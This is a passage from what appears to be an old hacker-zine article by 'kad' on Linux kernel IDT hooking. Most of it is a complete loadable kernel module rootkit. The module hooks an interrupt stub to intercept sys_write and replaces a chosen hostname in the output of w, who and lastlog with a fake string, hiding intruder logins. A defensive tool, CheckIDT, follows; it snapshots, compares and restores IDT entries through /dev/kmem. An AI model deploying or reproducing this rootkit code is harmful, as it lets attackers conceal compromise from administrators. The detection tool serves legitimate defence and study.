if((my_tty=current->tty) != NULL)
|
|
{
|
|
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
|
|
return 0;
|
|
}
|
|
else return -1;
|
|
}
|
|
|
|
static int __init kad_init(void)
|
|
{
|
|
int x;
|
|
EXPORT_NO_SYMBOLS;
|
|
ptr_idt_table=get_addr_idt();
|
|
write_console("Inserting hook \r\n");
|
|
hook_stub(interrupt,&my_stub,&old_stub);
|
|
#ifdef DEBUG
|
|
printk("Set hooking on interrupt %i\n",interrupt);
|
|
#endif
|
|
write_console("Hooking finished \r\n");
|
|
return 0;
|
|
}
|
|
|
|
static void kad_exit(void)
|
|
{
|
|
write_console("Removing hook\r\n");
|
|
hook_stub(interrupt,(char *)old_stub,NULL);
|
|
}
|
|
|
|
module_init(kad_init);
|
|
module_exit(kad_exit);
|
|
|
|
|
|
******************************************************************************
|
|
|
|
CODE 3:
|
|
-------
|
|
|
|
/**************************************************************/
|
|
/* Hooking of sys_write for w,who and lastlog.
|
|
/* You can add an another program when you insmod the module
|
|
/* By kad
|
|
/**************************************************************/
|
|
|
|
#define MODULE
|
|
#define __KERNEL__
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/tty.h>
|
|
#include <linux/sched.h>
|
|
#include <linux/init.h>
|
|
#ifndef KERNEL2
|
|
#include <linux/slab.h>
|
|
#else
|
|
#include <linux/malloc.h>
|
|
#endif
|
|
#include <linux/interrupt.h>
|
|
#include <linux/compatmac.h>
|
|
|
|
#define sys_number 4
|
|
#define HIDE_STRING "localhost"
|
|
#define FALSE_STRING "somewhere"
|
|
#define PROG "w"
|
|
|
|
/*------------------------------------------*/
|
|
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
|
|
/*------------------------------------------*/
|
|
MODULE_AUTHOR("kad");
|
|
MODULE_DESCRIPTION("Hooking of sys_write");
|
|
MODULE_PARM(interrupt,"i");
|
|
MODULE_PARM_DESC(interrupt,"Interrupt number");
|
|
MODULE_PARM(hide_string,"s");
|
|
MODULE_PARM_DESC(hide_string,"String to hide");
|
|
MODULE_PARM(false_string,"s");
|
|
MODULE_PARM_DESC(false_string,"The fake string");
|
|
MODULE_PARM(progy,"s");
|
|
MODULE_PARM_DESC(progy,"You can add another program to fake");
|
|
/*------------------------------------------*/
|
|
unsigned long ptr_idt_table;
|
|
unsigned long old_stub;
|
|
extern asmlinkage void my_stub();
|
|
unsigned long hostile_code=(unsigned long)&my_function;
|
|
int interrupt;
|
|
char *hide_string;
|
|
char *false_string;
|
|
char *progy;
|
|
/*------------------------------------------*/
|
|
|
|
struct descriptor_idt
|
|
{
|
|
unsigned short offset_low,seg_selector;
|
|
unsigned char reserved,flag;
|
|
unsigned short offset_high;
|
|
};
|
|
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
//save the register value
|
|
" pushl %%ds \n"
|
|
" pushl %%eax \n"
|
|
" pushl %%ebp \n"
|
|
" pushl %%edi \n"
|
|
" pushl %%esi \n"
|
|
" pushl %%edx \n"
|
|
" pushl %%ecx \n"
|
|
" pushl %%ebx \n"
|
|
//compare it's the good syscall
|
|
" xor %%ebx,%%ebx \n"
|
|
" movl %2,%%ebx \n"
|
|
" cmpl %%eax,%%ebx \n"
|
|
" jne finis \n"
|
|
//if it's the good syscall , continue :)
|
|
" mov %%esp,%%edx \n"
|
|
" mov %%esp,%%eax \n"
|
|
" andl $-8192,%%eax \n"
|
|
" pushl %%eax \n"
|
|
" push %%edx \n"
|
|
" call *%0 \n"
|
|
" addl $8,%%esp \n"
|
|
"finis: \n"
|
|
//restore register
|
|
" popl %%ebx \n"
|
|
" popl %%ecx \n"
|
|
" popl %%edx \n"
|
|
" popl %%esi \n"
|
|
" popl %%edi \n"
|
|
" popl %%ebp \n"
|
|
" popl %%eax \n"
|
|
" popl %%ds \n"
|
|
" jmp *%1 \n"
|
|
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
|
|
);
|
|
}
|
|
|
|
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
|
|
{
|
|
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
|
|
char *ptr=(char *) regs->ecx;
|
|
char * buffer,*ptr3;
|
|
|
|
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
|
|
|| strcmp(my_task->comm,"lastlog")==0
|
|
|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
|
|
{
|
|
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
|
|
copy_from_user(buffer,ptr,regs->edx);
|
|
if(hide_string)
|
|
{
|
|
ptr3=strstr(buffer,hide_string);
|
|
}
|
|
else
|
|
{
|
|
ptr3=strstr(buffer,HIDE_STRING);
|
|
}
|
|
if(ptr3 != NULL )
|
|
{
|
|
if (false_string)
|
|
{
|
|
strncpy(ptr3,false_string,strlen(false_string));
|
|
}
|
|
else
|
|
{
|
|
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
|
|
}
|
|
copy_to_user(ptr,buffer,regs->edx);
|
|
}
|
|
kfree(buffer);
|
|
}
|
|
}
|
|
|
|
unsigned long get_addr_idt (void)
|
|
{
|
|
unsigned char idtr[6];
|
|
unsigned long idt;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
idt = *((unsigned long *) &idtr[2]);
|
|
return(idt);
|
|
}
|
|
|
|
void * get_stub_from_idt (int n)
|
|
{
|
|
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
|
|
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
|
|
}
|
|
|
|
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
|
|
{
|
|
unsigned long new_addr=(unsigned long)new_stub;
|
|
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
|
|
//save old stub
|
|
if(old_stub)
|
|
*old_stub=(unsigned long)get_stub_from_idt(n);
|
|
#ifdef DEBUG
|
|
printk("Hook : new stub addresse not splited : 0x%.8x\n",
|
|
new_addr);
|
|
#endif
|
|
//assign new stub
|
|
idt[n].offset_high = (unsigned short) (new_addr >> 16);
|
|
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
|
|
#ifdef DEBUG
|
|
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
|
|
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
|
|
#endif
|
|
return;
|
|
}
|
|
|
|
int write_console (char *str)
|
|
{
|
|
struct tty_struct *my_tty;
|
|
if((my_tty=current->tty) != NULL)
|
|
{
|
|
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
|
|
return 0;
|
|
}
|
|
else return -1;
|
|
}
|
|
|
|
static int __init kad_init(void)
|
|
{
|
|
EXPORT_NO_SYMBOLS;
|
|
ptr_idt_table=get_addr_idt();
|
|
write_console("Inserting hook \r\n");
|
|
hook_stub(interrupt,&my_stub,&old_stub);
|
|
#ifdef DEBUG
|
|
printk("Set hooking on interrupt %i\n",interrupt);
|
|
#endif
|
|
write_console("Hooking finish \r\n");
|
|
return 0;
|
|
}
|
|
|
|
static void kad_exit(void)
|
|
{
|
|
write_console("Removing hook\r\n");
|
|
hook_stub(interrupt,(char *)old_stub,NULL);
|
|
}
|
|
|
|
module_init(kad_init);
|
|
module_exit(kad_exit);
|
|
|
|
|
|
******************************************************************************
|
|
|
|
<++> checkidt/Makefile
|
|
all: checkidt.c
|
|
gcc -Wall -o checkidt checkidt.c
|
|
<-->
|
|
|
|
<++> checkidt/checkidt.c
|
|
/*
|
|
* CheckIDT V1.1
|
|
* Play with IDT from userland
|
|
* It's a tripwire kind for IDT
|
|
* kad 2002
|
|
*
|
|
* gcc -Wall -o checkidt checkidt.c
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
#include <asm/segment.h>
|
|
#include <string.h>
|
|
|
|
#define NORMAL "\033[0m"
|
|
#define NOIR "\033[30m"
|
|
#define ROUGE "\033[31m"
|
|
#define VERT "\033[32m"
|
|
#define JAUNE "\033[33m"
|
|
#define BLEU "\033[34m"
|
|
#define MAUVE "\033[35m"
|
|
#define BLEU_CLAIR "\033[36m"
|
|
#define SYSTEM "System gate"
|
|
#define INTERRUPT "Interrupt gate"
|
|
#define TRAP "Trap gate"
|
|
#define DEFAULT_FILE "Safe_idt"
|
|
#define DEFAULT_MAP "/boot/System.map"
|
|
|
|
/***********GLOBAL**************/
|
|
int fd_kmem;
|
|
unsigned long ptr_idt;
|
|
/******************************/
|
|
|
|
|
|
struct descriptor_idt
|
|
{
|
|
unsigned short offset_low,seg_selector;
|
|
unsigned char reserved,flag;
|
|
unsigned short offset_high;
|
|
};
|
|
|
|
struct Mode
|
|
{
|
|
int show_idt_addr;
|
|
int show_all_info;
|
|
int read_file_archive;
|
|
int create_file_archive;
|
|
char out_filename[20];
|
|
int compare_idt;
|
|
int restore_idt;
|
|
char in_filename[20];
|
|
int show_all_descriptor;
|
|
int resolve;
|
|
char map_filename[40];
|
|
};
|
|
|
|
unsigned long get_addr_idt (void)
|
|
{
|
|
unsigned char idtr[6];
|
|
unsigned long idt;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
idt = *((unsigned long *) &idtr[2]);
|
|
return(idt);
|
|
}
|
|
|
|
unsigned short get_size_idt(void)
|
|
{
|
|
unsigned idtr[6];
|
|
unsigned short size;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
size=*((unsigned short *) &idtr[0]);
|
|
return(size);
|
|
}
|
|
|
|
char * get_segment(unsigned short selecteur)
|
|
{
|
|
if(selecteur == __KERNEL_CS)
|
|
{
|
|
return("KERNEL_CS");
|
|
}
|
|
if(selecteur == __KERNEL_DS)
|
|
{
|
|
return("KERNEL_DS");
|
|
}
|
|
if(selecteur == __USER_CS)
|
|
{
|
|
return("USER_CS");
|
|
}
|
|
if(selecteur == __USER_DS)
|
|
{
|
|
return("USER_DS");
|
|
}
|
|
else
|
|
{
|
|
printf("UNKNOW\n");
|
|
}
|
|
}
|
|
|
|
|
|
void readkmem(void *m,unsigned off,int size)
|
|
{
|
|
if(lseek(fd_kmem,off,SEEK_SET) != off)
|
|
{
|
|
fprintf(stderr,"Error lseek. Are you root? \n");
|
|
exit(-1);
|
|
}
|
|
if(read(fd_kmem,m,size)!= size)
|
|
{
|
|
fprintf(stderr,"Error read kmem\n");
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
void writekmem(void *m,unsigned off,int size)
|
|
{
|
|
if(lseek(fd_kmem,off,SEEK_SET) != off)
|
|
{
|
|
fprintf(stderr,"Error lseek. Are you root? \n");
|
|
exit(-1);
|
|
}
|
|
if(write(fd_kmem,m,size)!= size)
|
|
{
|
|
fprintf(stderr,"Error read kmem\n");
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
void resolv(char *file,unsigned long stub_addr,char *name)
|
|
{
|
|
FILE *fd;
|
|
char buf[100],addr[30];
|
|
int ptr,ptr_begin,ptr_end;
|
|
snprintf(addr,30,"%x",(char *)stub_addr);
|
|
if(!(fd=fopen(file,"r")))
|
|
{
|
|
fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n");
|
|
exit(-1);
|
|
}
|
|
while(fgets(buf,100,fd) != NULL)
|
|
{
|
|
ptr=strstr(buf,addr);
|
|
if(ptr)
|
|
{
|
|
bzero(name,30);
|
|
ptr_begin=strstr(buf," ");
|
|
ptr_begin=strstr(ptr_begin+1," ");
|
|
ptr_end=strstr(ptr_begin+1,"\n");
|
|
strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);
|
|
break;
|
|
}
|
|
}
|
|
if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL);
|
|
fclose(fd);
|
|
}
|
|
|
|
void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
|
|
{
|
|
struct descriptor_idt *descriptor;
|
|
unsigned long stub_addr;
|
|
unsigned short selecteur;
|
|
char type[15];
|
|
char segment[15];
|
|
char name[30];
|
|
int x;
|
|
int dpl;
|
|
bzero(name,strlen(name));
|
|
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
|
|
printf("Int *** Stub Address *** Segment *** DPL *** Type ");
|
|
if(resolve >= 0)
|
|
{
|
|
printf(" Handler Name\n");
|
|
printf("--------------------------------------------------------------------------\n");
|
|
}
|
|
else
|
|
{
|
|
printf("\n");
|
|
printf("---------------------------------------------------\n");
|
|
}
|
|
|
|
if(interrupt >= 0)
|
|
{
|
|
readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
|
|
stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
|
|
selecteur=(unsigned short) descriptor->seg_selector;
|
|
if(descriptor->flag & 64) dpl=3;
|
|
else dpl = 0;
|
|
if(descriptor->flag & 1)
|
|
{
|
|
if(dpl)
|
|
strncpy(type,SYSTEM,sizeof(SYSTEM));
|
|
else strncpy(type,TRAP,sizeof(TRAP));
|
|
}
|
|
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
|
|
strcpy(segment,get_segment(selecteur));
|
|
|
|
if(resolve >= 0)
|
|
{
|
|
resolv(file,stub_addr,name);
|
|
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name);
|
|
}
|
|
else
|
|
{
|
|
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type);
|
|
}
|
|
}
|
|
if(all_descriptor >= 0 )
|
|
{
|
|
for (x=0;x<(get_size_idt()+1)/8;x++)
|
|
{
|
|
readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
|
|
stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
|
|
if(stub_addr != 0)
|
|
{
|
|
selecteur=(unsigned short) descriptor->seg_selector;
|
|
if(descriptor->flag & 64) dpl=3;
|
|
else dpl = 0;
|
|
if(descriptor->flag & 1)
|
|
{
|
|
if(dpl)
|
|
strncpy(type,SYSTEM,sizeof(SYSTEM));
|
|
else strncpy(type,TRAP,sizeof(TRAP));
|
|
}
|
|
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
|
|
strcpy(segment,get_segment(selecteur));
|
|
if(resolve >= 0)
|
|
{
|
|
bzero(name,strlen(name));
|
|
resolv(file,stub_addr,name);
|
|
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);
|
|
}
|
|
else
|
|
{
|
|
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
free(descriptor);
|
|
}
|
|
|
|
void create_archive(char *file)
|
|
{
|
|
FILE *file_idt;
|
|
struct descriptor_idt *descriptor;
|
|
int x;
|
|
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
|
|
if(!(file_idt=fopen(file,"w")))
|
|
{
|
|
fprintf(stderr,"Error while opening file\n");
|
|
exit(-1);
|
|
}
|
|
for(x=0;x<(get_size_idt()+1)/8;x++)
|
|
{
|
|
readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
|
|
fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt);
|
|
}
|
|
free(descriptor);
|
|
fclose(file_idt);
|
|
fprintf(stderr,"Creating file archive idt done \n");
|
|
}
|
|
|
|
void read_archive(char *file)
|
|
{
|
|
FILE *file_idt;
|
|
int x;
|
|
struct descriptor_idt *descriptor;
|
|
unsigned long stub_addr;
|
|
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
|
|
if(!(file_idt=fopen(file,"r")))
|
|
{
|
|
fprintf(stderr,"Error, check if the file exist\n");
|
|
exit(-1);
|
|
}
|
|
for(x=0;x<(get_size_idt()+1)/8;x++)
|
|
{
|
|
fread(descriptor,sizeof(struct descriptor_idt),1,file_idt);
|
|
stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
|
|
printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr);
|
|
}
|
|
free(descriptor);
|
|
fclose(file_idt);
|
|
}
|
|
|
|
void compare_idt(char *file,int restore_idt)
|
|
{
|
|
FILE *file_idt;
|
|
int x,change=0;
|
|
int result;
|
|
struct descriptor_idt *save_descriptor,*actual_descriptor;
|
|
unsigned long save_stub_addr,actual_stub_addr;
|
|
unsigned short *offset;
|
|
save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
|
|
actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
|
|
file_idt=fopen(file,"r");
|
|
for(x=0;x<(get_size_idt()+1)/8;x++)
|
|
{
|
|
fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt);
|
|
save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low;
|
|
readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
|
|
actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low;
|
|
if(actual_stub_addr != save_stub_addr)
|
|
{
|
|
if(restore_idt < 1)
|
|
{
|
|
fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x);
|
|
fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr);
|
|
fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr);
|
|
change=1;
|
|
}
|
|
else
|
|
{
|
|
fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x);
|
|
actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16);
|
|
actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF);
|
|
writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
|
|
change=1;
|
|
}
|
|
}
|
|
}
|
|
if(!change)
|
|
fprintf(stderr,VERT"All values are same\n"NORMAL);
|
|
}
|
|
|
|
void initialize_value(struct Mode *mode)
|
|
{
|
|
mode->show_idt_addr=-1;
|
|
mode->show_all_info=-1;
|
|
mode->show_all_descriptor=-1;
|
|
mode->create_file_archive=-1;
|
|
mode->read_file_archive=-1;
|
|
strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
|
|
mode->compare_idt=-1;
|
|
mode->restore_idt=-1;
|
|
strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
|
|
strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));
|
|
mode->resolve=-1;
|
|
}
|
|
|
|
void usage()
|
|
{
|
|
fprintf(stderr,"CheckIDT V 1.1 by kad\n");
|
|
fprintf(stderr,"---------------------\n");
|
|
fprintf(stderr,"Option : \n");
|
|
fprintf(stderr," -a nb show all info about one interrupt\n");
|
|
fprintf(stderr," -A showw all info about all interrupt\n");
|
|
fprintf(stderr," -I show IDT address \n");
|
|
fprintf(stderr," -c create file archive\n");
|
|
fprintf(stderr," -r read file archive\n");
|
|
fprintf(stderr," -o file output filename (for creating file archive)\n");
|
|
fprintf(stderr," -C compare save idt & new idt\n");
|
|
fprintf(stderr," -R restore IDT\n");
|
|
fprintf(stderr," -i file input filename to compare or read\n");
|
|
fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n");
|
|
fprintf(stderr," -S file specify a map file\n\n");
|
|
exit(1);
|
|
}
|
|
|
|
int main(int argc, char ** argv)
|
|
{
|
|
int option;
|
|
struct Mode *mode;
|
|
if (argc < 2)
|
|
{
|
|
usage();
|
|
}
|
|
|
|
mode=(struct Mode *) malloc(sizeof(struct Mode));
|
|
initialize_value(mode);
|
|
|
|
while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1)
|
|
{
|
|
switch(option)
|
|
{
|
|
case 'h': usage();
|
|
exit(1);
|
|
case 'I': mode->show_idt_addr=1;
|
|
break;
|
|
case 'a': mode->show_all_info=atoi(optarg);
|
|
break;
|
|
case 'A': mode->show_all_descriptor=1;
|
|
break;
|
|
case 'c': mode->create_file_archive=1;
|
|
break;
|
|
case 'r': mode->read_file_archive=1;
|
|
break;
|
|
case 'R': mode->restore_idt=1;
|
|
break;
|
|
case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));
|
|
if(strlen(optarg) > 20)
|
|
{
|
|
fprintf(stderr,"Filename too long\n");
|
|
exit(-1);
|
|
}
|
|
strncpy(mode->out_filename,optarg,strlen(optarg));
|
|
break;
|
|
case 'C': mode->compare_idt=1;
|
|
break;
|
|
case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));
|
|
if(strlen(optarg) > 20)
|
|
{
|
|
fprintf(stderr,"Filename too long\n");
|
|
exit(-1);
|
|
}
|
|
strncpy(mode->in_filename,optarg,strlen(optarg));
|
|
break;
|
|
case 's': mode->resolve=1;
|
|
break;
|
|
case 'S': bzero(mode->map_filename,sizeof(mode->map_filename));
|
|
if(strlen(optarg) > 40)
|
|
{
|
|
fprintf(stderr,"Filename too long\n");
|
|
exit(-1);
|
|
}
|
|
if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg));
|
|
break;
|
|
}
|
|
}
|
|
printf("\n");
|
|
ptr_idt=get_addr_idt();
|
|
if(mode->show_idt_addr >= 0)
|
|
{
|
|
fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
|
|
}
|
|
fd_kmem=open("/dev/kmem",O_RDWR);
|
|
if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
|
|
{
|
|
show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve);
|
|
}
|
|
if(mode->create_file_archive >= 0)
|
|
{
|
|
create_archive(mode->out_filename);
|
|
}
|
|
if(mode->read_file_archive >= 0)
|
|
{
|
|
read_archive(mode->in_filename);
|
|
}
|
|
if(mode->compare_idt >= 0)
|
|
{
|
|
compare_idt(mode->in_filename,mode->restore_idt);
|
|
}
|
|
if(mode->restore_idt >= 0)
|
|
{
|
|
compare_idt(mode->in_filename,mode->restore_idt);
|
|
}
|
|
printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);
|
|
|
|
free(mode);
|
|
return 0;
|
|
}
|
|
|
|
<-->
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|